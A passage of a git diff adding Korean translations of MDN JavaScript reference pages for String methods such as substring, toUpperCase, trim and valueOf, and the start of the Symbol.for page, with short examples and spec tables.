+ </tr>
+ <tr>
+ <td>{{SpecName('ES3')}}</td>
+ <td>{{Spec2('ES3')}}</td>
+ <td>Defined in the (informative) Compatibility Annex B. Implemented in JavaScript 1.0.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES5.1', '#sec-B.2.3', 'String.prototype.substr')}}</td>
+ <td>{{Spec2('ES5.1')}}</td>
+ <td>Defined in the (informative) Compatibility Annex B</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES6', '#sec-string.prototype.substr', 'String.prototype.substr')}}</td>
+ <td>{{Spec2('ES6')}}</td>
+ <td>Defined in the (normative) Annex B for Additional ECMAScript Features for Web Browsers</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-string.prototype.substr', 'String.prototype.substr')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td>Defined in the (normative) Annex B for Additional ECMAScript Features for Web Browsers</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<div>{{Compat("javascript.builtins.String.substr")}}</div>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{jsxref("String.prototype.slice()")}}</li>
+ <li>{{jsxref("String.prototype.substring()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/string/substring/index.html b/files/ko/web/javascript/reference/global_objects/string/substring/index.html
new file mode 100644
index 0000000000..91d13974c9
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/string/substring/index.html
@@ -0,0 +1,190 @@
+---
+title: String.prototype.substring()
+slug: Web/JavaScript/Reference/Global_Objects/String/substring
+translation_of: Web/JavaScript/Reference/Global_Objects/String/substring
+---
+<div>{{JSRef}}</div>
+
+<p><strong><code>substring()</code></strong><font><font>메소드는 string 객체의 시작 인덱스로 부터 종료 인덱스 전 까지 문자열의 부분 문자열을 반환합니다. </font></font></p>
+
+<div>{{EmbedInteractiveExample("pages/js/string-substring.html")}}</div>
+
+
+
+<h2 id="사용방법">사용방법 </h2>
+
+<pre class="syntaxbox"><code><var>str</var>.substring(<var>indexStart</var>[, <var>indexEnd</var>])</code></pre>
+
+<h3 id="인자값">인자값</h3>
+
+<dl>
+ <dt><code><var>indexStart</var></code></dt>
+ <dd>반환문자열의 시작 인덱스 </dd>
+ <dt> </dt>
+ <dt><code><var>indexEnd</var></code></dt>
+ <dd>옵션.  반환문자열의 마지막 인덱스 (포함하지 않음.)</dd>
+</dl>
+
+<h3 id="반환값">반환값</h3>
+
+<p>기존문자열의  부분 문자열을 반환합니다. </p>
+
+<h2 id="Description">Description</h2>
+
+<p><code>substring()</code> 메서드는 <code><var>indexStart</var></code> 부터 문자를 추출하지만 <code><var>indexEnd</var></code> 가 포함되지 않아도 괜찮습니다. 특징은 아래와 같습니다.</p>
+
+<ul>
+ <li>만약 <code><var>indexEnd</var></code> 가 생략된 경우, <code>substring()</code> 문자열의 끝까지 모든 문자를 추출합니다.</li>
+ <li>만약 <code><var>indexStart</var></code> 가 <code><var>indexEnd</var></code>와 같을 경우, <code>substring()</code> 빈 문자열을 반환합니다.</li>
+ <li>만약 <code><var>indexStart</var></code> 가 <code><var>indexEnd</var></code>보다 큰 경우, <code>substring()</code> 메서드는 마치 두 개의 인자를 바꾼 듯 작동하게 됩니다. 아래 예제를 보세요.</li>
+</ul>
+
+<p>0보다 작은 인자 값을 가지는 경우에는 0으로, <code>stringName.length</code> 보다 큰 인자 값을 가지는 경우, <code>stringName.length</code> 로 처리됩니다. {{jsxref("NaN")}} 값은 0으로 처리됩니다.</p>
+
+<h2 id="Examples">Examples</h2>
+
+<h3 id="Using_substring()">Using <code>substring()</code></h3>
+
+<p>The following example uses <code>substring()</code> to display characters from the string <code>'Mozilla'</code>:</p>
+
+<pre class="brush: js">var anyString = 'Mozilla';
+
+// Displays 'M'
+console.log(anyString.substring(0, 1));
+console.log(anyString.substring(1, 0));
+
+// Displays 'Mozill'
+console.log(anyString.substring(0, 6));
+
+// Displays 'lla'
+console.log(anyString.substring(4));
+console.log(anyString.substring(4, 7));
+console.log(anyString.substring(7, 4));
+
+// Displays 'Mozilla'
+console.log(anyString.substring(0, 7));
+console.log(anyString.substring(0, 10));
+</pre>
+
+<h3 id="Using_substring()_with_length_property">Using <code>substring()</code> with <code>length</code> property</h3>
+
+<p>The following example uses the <code>substring()</code> method and {{jsxref("String.length", "length")}} property to extract the last characters of a particular string. This method may be easier to remember, given that you don't need to know the starting and ending indices as you would in the above examples.</p>
+
+<pre class="brush: js">// Displays 'illa' the last 4 characters
+var anyString = 'Mozilla';
+var anyString4 = anyString.substring(anyString.length - 4);
+console.log(anyString4);
+
+// Displays 'zilla' the last 5 characters
+var anyString = 'Mozilla';
+var anyString5 = anyString.substring(anyString.length - 5);
+console.log(anyString5);
+</pre>
+
+<h3 id="The_difference_between_substring()_and_substr()">The difference between <code>substring()</code> and <code>substr()</code></h3>
+
+<p>There's a subtle difference between the <code>substring()</code> and {{jsxref("String.substr", "substr()")}} methods, so you should be careful not to get them confused.</p>
+
+<p>The arguments of <code>substring()</code> represent the starting and ending indexes, while the arguments of <code>substr()</code> represent the starting index and the number of characters to include in the returned string.</p>
+
+<pre class="brush: js">var text = 'Mozilla';
+console.log(text.substring(2,5)); // =&gt; "zil"
+console.log(text.substr(2,3)); // =&gt; "zil"</pre>
+
+<h3 id="Differences_between_substring()_and_slice()">Differences between <code>substring()</code> and <code>slice()</code></h3>
+
+<p>The <code>substring()</code> and {{jsxref("String.slice", "slice()")}} methods are almost identical, but there are a couple of subtle differences between the two, especially in the way negative arguments are dealt with.</p>
+
+<p>The <code>substring()</code> method swaps its two arguments if <code><var>indexStart</var></code> is greater than <code><var>indexEnd</var></code>, meaning that a string is still returned. The {{jsxref("String.slice", "slice()")}} method returns an empty string if this is the case.</p>
+
+<pre class="brush: js">var text = 'Mozilla';
+console.log(text.substring(5, 2)); // =&gt; "zil"
+console.log(text.slice(5, 2)); // =&gt; ""
+</pre>
+
+<p>If either or both of the arguments are negative or <code>NaN</code>, the <code>substring()</code> method treats them as if they were <code>0</code>.</p>
+
+<pre class="brush: js">console.log(text.substring(-5, 2)); // =&gt; "Mo"
+console.log(text.substring(-5, -2)); // =&gt; ""
+</pre>
+
+<p><code>slice()</code> also treats <code>NaN</code> arguments as <code>0</code>, but when it is given negative values it counts backwards from the end of the string to find the indexes.</p>
+
+<pre class="brush: js">console.log(text.slice(-5, 2)); // =&gt; ""
+console.log(text.slice(-5, -2)); // =&gt; "zil"
+</pre>
+
+<p>See the {{jsxref("String.slice", "slice()")}} page for more examples with negative numbers.</p>
+
+<h3 id="Replacing_a_substring_within_a_string">Replacing a substring within a string</h3>
+
+<p>The following example replaces a substring within a string. It will replace both individual characters and substrings. The function call at the end of the example changes the string <code>Brave New World</code> to <code>Brave New Web</code>.</p>
+
+<pre class="brush: js">// Replaces oldS with newS in the string fullS
+function replaceString(oldS, newS, fullS) {
+ for (var i = 0; i &lt; fullS.length; ++i) {
+ if (fullS.substring(i, i + oldS.length) == oldS) {
+ fullS = fullS.substring(0, i) + newS + fullS.substring(i + oldS.length, fullS.length);
+ }
+ }
+ return fullS;
+}
+
+replaceString('World', 'Web', 'Brave New World');
+</pre>
+
+<p>Note that this can result in an infinite loop if <code>oldS</code> is itself a substring of <code>newS</code> — for example, if you attempted to replace 'World' with 'OtherWorld' here. A better method for replacing strings is as follows:</p>
+
+<pre class="brush: js">function replaceString(oldS, newS, fullS) {
+ return fullS.split(oldS).join(newS);
+}
+</pre>
+
+<p>The code above serves as an example for substring operations. If you need to replace substrings, most of the time you will want to use {{jsxref("String.prototype.replace()")}}.</p>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-string.prototype.substring', 'String.prototype.substring')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES6', '#sec-string.prototype.substring', 'String.prototype.substring')}}</td>
+ <td>{{Spec2('ES6')}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES5.1', '#sec-15.5.4.15', 'String.prototype.substring')}}</td>
+ <td>{{Spec2('ES5.1')}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES1')}}</td>
+ <td>{{Spec2('ES1')}}</td>
+ <td>Implemented in JavaScript 1.0.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("javascript.builtins.String.substring")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{jsxref("String.prototype.substr()")}} {{deprecated_inline}}</li>
+ <li>{{jsxref("String.prototype.slice()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/string/tolowercase/index.html b/files/ko/web/javascript/reference/global_objects/string/tolowercase/index.html
new file mode 100644
index 0000000000..d91e48729f
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/string/tolowercase/index.html
@@ -0,0 +1,83 @@
+---
+title: String.prototype.toLowerCase()
+slug: Web/JavaScript/Reference/Global_Objects/String/toLowerCase
+tags:
+ - JavaScript
+ - Method
+ - Prototype
+ - Reference
+ - String
+translation_of: Web/JavaScript/Reference/Global_Objects/String/toLowerCase
+---
+<div>{{JSRef}}</div>
+
+<div><strong><code>toLowerCase()</code></strong> 메서드는 문자열을 소문자로 변환해 반환합니다.</div>
+
+<div> </div>
+
+<div>{{EmbedInteractiveExample("pages/js/string-tolowercase.html")}}</div>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox"><code><var>str</var>.toLowerCase()</code></pre>
+
+<h3 id="반환값">반환값</h3>
+
+<p>호출 문자열을 소문자로 변환한 새로운 문자열</p>
+
+<h2 id="설명">설명</h2>
+
+<p><code>toLowerCase()</code> 메서드는 호출 문자열을 소문자로 변환해 반환합니다.  <code>toLowerCase()</code> 는 원래의 <code>str</code>에 영향을 주지 않습니다.</p>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="toLowerCase()"> <code>toLowerCase()</code></h3>
+
+<pre class="brush: js">console.log('ALPHABET'.toLowerCase()); // 'alphabet'
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">표준</th>
+ <th scope="col">상태</th>
+ <th scope="col">비고</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES1')}}</td>
+ <td>{{Spec2('ES1')}}</td>
+ <td>Initial definition. Implemented in JavaScript 1.0.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES5.1', '#sec-15.5.4.16', 'String.prototype.toLowerCase')}}</td>
+ <td>{{Spec2('ES5.1')}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES6', '#sec-string.prototype.tolowercase', 'String.prototype.toLowerCase')}}</td>
+ <td>{{Spec2('ES6')}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-string.prototype.tolowercase', 'String.prototype.toLowerCase')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td> </td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("javascript.builtins.String.toLowerCase")}}</p>
+
+<h2 id="참조">참조</h2>
+
+<ul>
+ <li>{{jsxref("String.prototype.toLocaleLowerCase()")}}</li>
+ <li>{{jsxref("String.prototype.toLocaleUpperCase()")}}</li>
+ <li>{{jsxref("String.prototype.toUpperCase()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/string/tosource/index.html b/files/ko/web/javascript/reference/global_objects/string/tosource/index.html
new file mode 100644
index 0000000000..d08a2a816a
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/string/tosource/index.html
@@ -0,0 +1,49 @@
+---
+title: String.prototype.toSource()
+slug: Web/JavaScript/Reference/Global_Objects/String/toSource
+translation_of: Web/JavaScript/Reference/Global_Objects/String/toSource
+---
+<div>{{JSRef}} {{non-standard_header}}</div>
+
+<p>The <strong><code>toSource()</code></strong> method returns a string representing the source code of the object.</p>
+
+<h2 id="문법">문법</h2>
+
+<pre class="syntaxbox"><code>String.toSource()
+<var>str</var>.toSource()
+</code></pre>
+
+<h3 id="리턴_값">리턴 값</h3>
+
+<p>호출한 객체의 소스코드가 <code>string</code>으로 보여집니다.</p>
+
+<h2 id="설명">설명</h2>
+
+<p><code>toSource()</code> 메소드는 다음 값을 리턴:</p>
+
+<p>For the built-in {{jsxref("String")}} object, <code>toSource()</code> returns the following string indicating that the source code is not available:</p>
+
+<pre class="brush: js">function String() {
+ [native code]
+}
+</pre>
+
+<p>For instances of {{jsxref("String")}} or string literals, <code>toSource()</code> returns a string representing the source code.</p>
+
+<p>This method is usually called internally by JavaScript and not explicitly in code.</p>
+
+<h2 id="Specifications">Specifications</h2>
+
+<p>Not part of any standard. Implemented in JavaScript 1.3.</p>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("javascript.builtins.String.toSource")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{jsxref("Object.prototype.toSource()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/string/tostring/index.html b/files/ko/web/javascript/reference/global_objects/string/tostring/index.html
new file mode 100644
index 0000000000..999d5c0c74
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/string/tostring/index.html
@@ -0,0 +1,59 @@
+---
+title: String.prototype.toString()
+slug: Web/JavaScript/Reference/Global_Objects/String/toString
+translation_of: Web/JavaScript/Reference/Global_Objects/String/toString
+---
+<div><font><font>{{JSRef}}</font></font></div>
+
+<p><font><font>이 </font></font><strong><code>toString()</code></strong><font><font>메소드는 지정된 객체를 나타내는 문자열을 반환합니다.</font></font></p>
+
+<div><font><font>{{EmbedInteractiveExample ( "pages / js / string-tostring.html")}}</font></font></div>
+
+<h2 id="통사론"><font><font>통사론</font></font></h2>
+
+<pre class="syntaxbox"><code><var>str</var>.toString()</code></pre>
+
+<h3 id="반환_값"><font><font>반환 값</font></font></h3>
+
+<p><font><font>호출 객체를 나타내는 문자열</font></font></p>
+
+<h2 id="기술"><font><font>기술</font></font></h2>
+
+<p><font><font>{{jsxref ( "String")}} 오브젝트 </font></font><code>toString()</code><font><font>는 {{jsxref ( "Object")}} 오브젝트 </font><font>의 </font><font>메소드를 </font><font>대체 </font><font>합니다. </font><font>{{jsxref ( "Object.prototype.toString ()")}}을 상속하지 않습니다. </font><font>{{jsxref ( "String")}} 오브젝트의 경우 </font></font><code>toString()</code><font><font>메소드는 </font><font>오브젝트 </font><font>의 문자열 표시를 리턴하며 {{jsxref ( "String.prototype.valueOf ()")}} 메소드와 동일합니다.</font></font></p>
+
+<h2 id="예"><font><font>예</font></font></h2>
+
+<h3 id="사용_toString"><font><font>사용 </font></font><code>toString()</code></h3>
+
+<p><font><font>다음 예제는 {{jsxref ( "String")}} 오브젝트의 문자열 값을 표시합니다.</font></font></p>
+
+<pre class="brush: js"><font><font>var x = new String ( 'Hello world');</font></font>
+<font><font>
+console.log (x.toString ()); </font><font>// 'Hello world'를 기록합니다.</font></font>
+</pre>
+
+<h2 id="명세서"><font><font>명세서</font></font></h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col"><font><font>사양</font></font></th>
+ </tr>
+ <tr>
+ <td><font><font>{{SpecName ( 'ESDraft', '# sec-string.prototype.tostring', 'String.prototype.toString')}}}</font></font></td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성"><font><font>브라우저 호환성</font></font></h2>
+
+<p class="hidden"><font><font>이 페이지의 호환성 표는 구조화 된 데이터에서 생성됩니다. </font><font>데이터에 기여하려면 </font></font><a href="https://github.com/mdn/browser-compat-data"><font><font>https://github.com/mdn/browser-compat-data</font></font></a><font><font> 를 확인하고 </font><font>풀 요청을 보내주십시오.</font></font></p>
+
+<p><font><font>{{Compat ( "javascript.builtins.String.toString")}}</font></font></p>
+
+<h2 id="또한보십시오"><font><font>또한보십시오</font></font></h2>
+
+<ul>
+ <li><font><font>{{jsxref ( "Object.prototype.toSource ()")}}</font></font></li>
+ <li><font><font>{{jsxref ( "String.prototype.valueOf ()")}}</font></font></li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/string/touppercase/index.html b/files/ko/web/javascript/reference/global_objects/string/touppercase/index.html
new file mode 100644
index 0000000000..f6a0c8f05c
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/string/touppercase/index.html
@@ -0,0 +1,105 @@
+---
+title: String.prototype.toUpperCase()
+slug: Web/JavaScript/Reference/Global_Objects/String/toUpperCase
+tags:
+ - JavaScript
+ - Method
+ - Prototype
+ - Reference
+ - String
+translation_of: Web/JavaScript/Reference/Global_Objects/String/toUpperCase
+---
+<div>{{JSRef}}</div>
+
+<p><strong><code>toUpperCase()</code></strong> 메서드는 문자열을 대문자로 변환해 반환합니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/string-touppercase.html")}}</div>
+
+
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox"><var>str</var>.toUpperCase()</pre>
+
+<h3 id="반환_값">반환 값</h3>
+
+<p>대문자로 변환한 새로운 문자열.</p>
+
+<h3 id="예외">예외</h3>
+
+<dl>
+ <dt>{{jsxref("TypeError")}}</dt>
+ <dd>{{jsxref("Function.prototype.call()")}} 등을 사용해 {{jsxref("null")}}이나 {{jsxref("undefined")}}에서 호출 시.</dd>
+</dl>
+
+<h2 id="설명">설명</h2>
+
+<p><code>toUpperCase()</code> 메서드는 문자열을 대문자로 변환한 값을 반환합니다. JavaScript의 문자열은 불변하므로 원본 문자열에는 영향을 주지 않습니다.</p>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="기본_사용법">기본 사용법</h3>
+
+<pre class="brush: js">console.log('alphabet'.toUpperCase()); // 'ALPHABET'</pre>
+
+<h3 id="문자열이_아닌_this의_문자열_변환">문자열이 아닌 <code>this</code>의 문자열 변환</h3>
+
+<p><code>toUpperCase()</code>의 <code>this</code>가 문자열이 아니고, <code>undefined</code>와 <code>null</code>도 아니면 자동으로 문자열로 변환합니다.</p>
+
+<pre class="brush: js">const a = String.prototype.toUpperCase.call({
+ toString: function toString() {
+ return 'abcdef';
+ }
+});
+
+const b = String.prototype.toUpperCase.call(true);
+
+// prints out 'ABCDEF TRUE'.
+console.log(a, b);
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">명세</th>
+ <th scope="col">상태</th>
+ <th scope="col">비고</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES1')}}</td>
+ <td>{{Spec2('ES1')}}</td>
+ <td>Initial definition. Implemented in JavaScript 1.0.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES5.1', '#sec-15.5.4.18', 'String.prototype.toUpperCase')}}</td>
+ <td>{{Spec2('ES5.1')}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES6', '#sec-string.prototype.touppercase', 'String.prototype.toUpperCase')}}</td>
+ <td>{{Spec2('ES6')}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-string.prototype.touppercase', 'String.prototype.toUpperCase')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td> </td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("javascript.builtins.String.toUpperCase")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{jsxref("String.prototype.toLocaleLowerCase()")}}</li>
+ <li>{{jsxref("String.prototype.toLocaleUpperCase()")}}</li>
+ <li>{{jsxref("String.prototype.toLowerCase()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/string/trim/index.html b/files/ko/web/javascript/reference/global_objects/string/trim/index.html
new file mode 100644
index 0000000000..0f0b71f548
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/string/trim/index.html
@@ -0,0 +1,97 @@
+---
+title: String.prototype.trim()
+slug: Web/JavaScript/Reference/Global_Objects/String/Trim
+tags:
+ - ECMAScript 5
+ - JavaScript
+ - Method
+ - Prototype
+ - Reference
+ - String
+translation_of: Web/JavaScript/Reference/Global_Objects/String/Trim
+---
+<div>{{JSRef}}</div>
+
+<p><strong><code>trim()</code></strong> 메서드는 문자열 양 끝의 공백을 제거합니다. 공백이란 모든 공백문자(space, tab, NBSP 등)와 모든 개행문자(LF, CR 등)를 의미합니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/string-trim.html")}}</div>
+
+
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox"><var>str</var>.trim()</pre>
+
+<h3 id="반환_값">반환 값</h3>
+
+<p>양 끝에서 공백을 제거한 새로운 문자열.</p>
+
+<h2 id="설명">설명</h2>
+
+<p><code>trim()</code> 메서드는 양끝의 공백을 제거한 문자열을 반환합니다. <code>trim()</code>은 원본 문자열에는 영향을 주지 않습니다. </p>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="trim()_사용"><code>trim()</code> 사용</h3>
+
+<p>아래의 예제는 소문자 문자열  <code>'foo'</code>를 표시합니다.</p>
+
+<pre class="brush: js">var orig = ' foo ';
+console.log(orig.trim()); // 'foo'
+
+// 한 쪽의 공백만 제거하는 .trim() 예제
+
+var orig = 'foo ';
+console.log(orig.trim()); // 'foo'
+</pre>
+
+<h2 id="폴리필">폴리필</h2>
+
+<p>다른 코드 전에 아래 코드를 실행하면 지원하지 않는 환경에서도  <code>String.trim()</code> 을 사용할 수 있습니다.</p>
+
+<pre class="brush: js">if (!String.prototype.trim) {
+  String.prototype.trim = function () {
+  return this.replace(/^[\s\uFEFF\xA0]+|[\s\uFEFF\xA0]+$/g, '');
+ };
+}
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">표준</th>
+ <th scope="col">상태</th>
+ <th scope="col">비고</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES5.1', '#sec-15.5.4.20', 'String.prototype.trim')}}</td>
+ <td>{{Spec2('ES5.1')}}</td>
+ <td>Initial definition. Implemented in JavaScript 1.8.1.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES6', '#sec-string.prototype.trim', 'String.prototype.trim')}}</td>
+ <td>{{Spec2('ES6')}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-string.prototype.trim', 'String.prototype.trim')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td> </td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("javascript.builtins.String.trim")}}</p>
+
+<h2 id="참조">참조</h2>
+
+<ul>
+ <li>{{jsxref("String.prototype.trimLeft()")}} {{non-standard_inline}}</li>
+ <li>{{jsxref("String.prototype.trimRight()")}} {{non-standard_inline}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/string/valueof/index.html b/files/ko/web/javascript/reference/global_objects/string/valueof/index.html
new file mode 100644
index 0000000000..e8e217d615
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/string/valueof/index.html
@@ -0,0 +1,83 @@
+---
+title: String.prototype.valueOf()
+slug: Web/JavaScript/Reference/Global_Objects/String/valueOf
+tags:
+ - 메서드
+ - 문자열
+ - 자바스크립트
+ - 참고
+ - 프로토타입
+translation_of: Web/JavaScript/Reference/Global_Objects/String/valueOf
+---
+<div>{{JSRef}}</div>
+
+<p><strong><code>valueOf()</code></strong> 메서드는 {{jsxref("String")}} 객체의 원시값을 반환합니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/string-valueof.html")}}</div>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox"><code><var>str</var>.valueOf()</code></pre>
+
+<h3 id="반환_값">반환 값</h3>
+
+<p>지정된 {{jsxref("String")}} 객체의 원시 값을 나타내는 문자열.</p>
+
+<h2 id="설명">설명</h2>
+
+<p>{{jsxref("String")}} 의 <code>valueOf()</code> 메서드는 {{jsxref("String")}} 객체의 원시 값을 문자열 데이터 타입으로 반환 합니다. 이 값은 {{jsxref("String.prototype.toString()")}}.과 동일합니다.</p>
+
+<p>이 메서드는 보통 자바스크립트에 의해 내부적으로 호출되며, 코드에서 명시적으로 사용하지는 않습니다.</p>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="valueOf_사용">  <code>valueOf()</code> 사용</h3>
+
+<pre class="brush: js">var x = new String('Hello world');
+console.log(x.valueOf()); // 'Hello world' 가 보여집니다.
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES1')}}</td>
+ <td>{{Spec2('ES1')}}</td>
+ <td>초기 정의. JavaScript 1.1 에서 구현.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES5.1', '#sec-15.5.4.3', 'String.prototype.valueOf')}}</td>
+ <td>{{Spec2('ES5.1')}}</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES6', '#sec-string.prototype.valueof', 'String.prototype.valueOf')}}</td>
+ <td>{{Spec2('ES6')}}</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-string.prototype.valueof', 'String.prototype.valueOf')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td></td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p class="hidden">이 페이지의 호환성 표는 구조화된 데이터로부터 생성됩니다. 만약 데이터에 기여하고 싶다면, <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> 을 확인하시고 pull 요청을 보내주세요.</p>
+
+<p>{{Compat("javascript.builtins.String.valueOf")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{jsxref("String.prototype.toString()")}}</li>
+ <li>{{jsxref("Object.prototype.valueOf()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/symbol/for/index.html b/files/ko/web/javascript/reference/global_objects/symbol/for/index.html
new file mode 100644
index 0000000000..e489deb27d
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/symbol/for/index.html
@@ -0,0 +1,150 @@
+---
+title: Symbol.for()
+slug: Web/JavaScript/Reference/Global_Objects/Symbol/for
+translation_of: Web/JavaScript/Reference/Global_Objects/Symbol/for
+---
+<div>{{JSRef}}</div>
+
+<p><code><strong>Symbol.for(key)</strong></code> 메소드는  runtime-wide 심볼 레지스트리에서 해당 키로 존재하는 심볼을 찾는다. 없으면 전역 심볼 레지시트리에  해당 키로 새로운 심볼을 만들어 준다.  </p>
+
+<h2 id="문법">문법</h2>
+
+<pre class="syntaxbox"><var>Symbol.for(key)</var>;</pre>
+
+<h3 id="파라미터">파라미터</h3>
+
+<dl>
+ <dt>key</dt>
+ <dd>String, 필수. 심볼의 키 (심볼의 설명을 위해서도 쓰인다).</dd>
+</dl>
+
+<h3 id="반환_값">반환 값</h3>
+
+<p>해당 키에 해당하는 심볼이 있다면 반환 없으면 새로운 심볼을 만들고 반환한다.</p>
+
+<h2 id="설명">설명</h2>
+
+<p><code>Symbol()과는 다르게</code>, the <code>Symbol.for()</code> 함수는 전역 심볼 레지스트리 리스트에 심볼을 만든다. <code>Symbol.for()는 또한 매 호출마다 새로운 심볼을 만들지 않고 현재 레지스트리에 해당 키를 가진 심볼이 있는지 먼저 검사를 한다. 있다면 그 심볼을 반환한다. 만약 키에 해당하는 심볼이 없다면 </code>Symbol.for()는 새로운 전역 심볼을 만들 것이다.</p>
+
+<h3 id="전역_심볼_레지스트리">전역 심볼 레지스트리 </h3>
+
+<p>전역심볼 레지스트리는 다음 레코드 구조를 가진 리스트이고 초기 값은 비어 있다:</p>
+
+<p>전역심볼 레지스트리의 레코드</p>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th>필드 명</th>
+ <th>값</th>
+ </tr>
+ <tr>
+ <td>[[key]]</td>
+ <td>심볼을 구분하기 위해 사용되는 문자열 키</td>
+ </tr>
+ <tr>
+ <td>[[symbol]]</td>
+ <td>전역으로 저장되는 심볼</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="예제">예제</h2>
+
